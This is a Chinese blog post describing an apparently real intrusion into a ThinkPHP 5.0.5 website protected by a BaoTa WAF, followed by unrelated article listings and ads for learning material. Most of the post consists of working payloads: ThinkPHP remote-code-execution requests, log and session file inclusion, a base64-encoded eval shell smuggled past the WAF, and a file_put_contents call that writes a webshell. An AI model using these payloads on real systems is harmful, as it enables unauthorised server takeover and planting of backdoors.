资讯专栏INFORMATION COLUMN

一次TP测试

ISherry / 2512人阅读

摘要:一简单的信息收集尝试路径报错,获取目标版本和配置信息。对日志进行包含简单看一下访问记录是否能够写入日志,访问可以正常写入但是在写入函数的时候被拦截正常这被拦截三包含修改一下为,进行包含,可以看到正常写入。

一、简单的信息收集

尝试路径报错,获取目标版本和配置信息。

https://example.com/admin/indeeex/login.html

版本为5.0.5,开启debug。

直接执行payload,宝塔拦截

/index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

【网络安全 全套学习资料·攻略】文字末尾了解详细

尝试post执行paylaod

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

成功执行,php5的assert默认存在代码执行,php7默认不存在。

禁用函数

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

https://example.com/runtime/log/202111/17.log

对日志进行包含

_method=__construct&method=get&filter=think/__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log

简单看一下访问记录是否能够写入日志,访问

https://example.com/phpinfo

可以正常写入

但是在写入函数的时候被拦截

https://example.com/phpinfo()


正常payload这被拦截

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=

三、session包含

_method=__construct&filter[]=think/Session::set&method=get&get[]=eeee&server[]=1

修改一下phpsessionid为1111,进行session包含,可以看到正常写入。

_method=__construct&method=get&filter=think/__include_file&get[]=/tmp/sess_1111

但是如果直接写入shell的话会被拦截

所以这里尝试对payload进行加密处理。
使用以下payload

_method=__construct&method=get&filter=think/Session::set&get[]=

未被拦截,但是在包含的时候出问题了,试了好多次大大概的原因就是<

尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。

这时候可以尝试使用函数,将伪协议反序。

_method=__construct&filter[]=think/Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1

成功执行。

最后要写shell的话直接将shell加密,再将代码加密即可写入。

file_put_contents("/www/wwwroot/test123.php",base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));

点击获取学习资料

  • 2000多本网络安全系列电子书
  • 网络安全标准题库资料
  • 项目源码
  • 网络安全基础入门、Linux、web安全、攻防方面的视频
  • 网络安全学习路线图

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/125003.html

相关文章

  • vue apache 反向代理 ajax跨域

    摘要:团队合作单独做前台测试代码时候有时候要与后台同学配合他把后台配置好更新到服务器我如果也上传到服务器测试明显太累在本地直接请求会出现跨域问题有想到明显不靠谱只是为了测试污染后台代码后面考虑本地启用反向代理原理和解决方案网上很多这里记录下后面可 团队合作,单独做前台,测试代码时候,有时候要与后台同学配合,他把后台配置好更新到服务器,我如果也上传到服务器测试明显太累,在本地直接请求会出现跨域...

    用户83 评论0 收藏0
  • vue apache 反向代理 ajax跨域

    摘要:团队合作单独做前台测试代码时候有时候要与后台同学配合他把后台配置好更新到服务器我如果也上传到服务器测试明显太累在本地直接请求会出现跨域问题有想到明显不靠谱只是为了测试污染后台代码后面考虑本地启用反向代理原理和解决方案网上很多这里记录下后面可 团队合作,单独做前台,测试代码时候,有时候要与后台同学配合,他把后台配置好更新到服务器,我如果也上传到服务器测试明显太累,在本地直接请求会出现跨域...

    shinezejian 评论0 收藏0
  • vue apache 反向代理 ajax跨域

    摘要:团队合作单独做前台测试代码时候有时候要与后台同学配合他把后台配置好更新到服务器我如果也上传到服务器测试明显太累在本地直接请求会出现跨域问题有想到明显不靠谱只是为了测试污染后台代码后面考虑本地启用反向代理原理和解决方案网上很多这里记录下后面可 团队合作,单独做前台,测试代码时候,有时候要与后台同学配合,他把后台配置好更新到服务器,我如果也上传到服务器测试明显太累,在本地直接请求会出现跨域...

    BlackFlagBin 评论0 收藏0
  • 【网络安全】记一次挖洞的日常

    摘要:前言上个月月初开始,在那些项目结束之后进入了挖洞时期,每天的日常工作就是挖洞,除非有临时的项目才会停下,最近在整理报告,发现了这个站,还是挺有意思的。 前言:上个月...

    姘搁『 评论0 收藏0
  • TP5.1.18+swoole实现聊天室

    摘要:队列长度,拿到客户端用户请先登录用户身份无效请重新登录非法操作发送数据失败 showImg(https://segmentfault.com/img/bVbc34G?w=1618&h=768); TP是最新版本的;大概实现的有,用户注册,注册完毕之后跳转到登录页面;登录之后生成身份令牌(token)存到Redis;在聊天界面没有任何ajax请求,只要在握手的时候有一个http请求,实...

    henry14 评论0 收藏0

发表评论

0条评论

ISherry

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<